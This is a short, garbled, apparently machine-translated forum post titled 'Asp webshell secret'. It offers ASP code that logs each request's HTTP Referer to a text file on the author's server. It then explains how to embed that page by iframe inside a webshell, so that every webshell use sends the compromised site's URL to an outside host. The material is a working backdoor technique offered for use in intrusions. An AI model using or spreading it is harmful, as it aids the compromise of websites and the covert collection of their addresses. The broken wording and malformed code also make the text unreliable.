Asp webshell secret

Dark visitor
Let's see how we are discussing ASP Mali's backdoors.
How can I insert an ASP backdoor into the system!

Code:
<% Add = Request. ServerVariables ("HTTP_Referer") 'Get the File url
Set fs = server. CreateObject ("Scripting. FileSystemObject ")
Set file = fs. OpenTextFile (server. MapPath ("bobo.txt"), 8, True)
File. writeline add
File. close
Set file = nothing
Set fs = nothing: create a file and write add to the file.
%>
Save the above Code as asp and put it in your space. Insert the asp address to the horse's body. You only need to ensure that the file can run when the horse is running. Any method such as iframe can be used.
Is an ASP backdoor.

You can encrypt anything.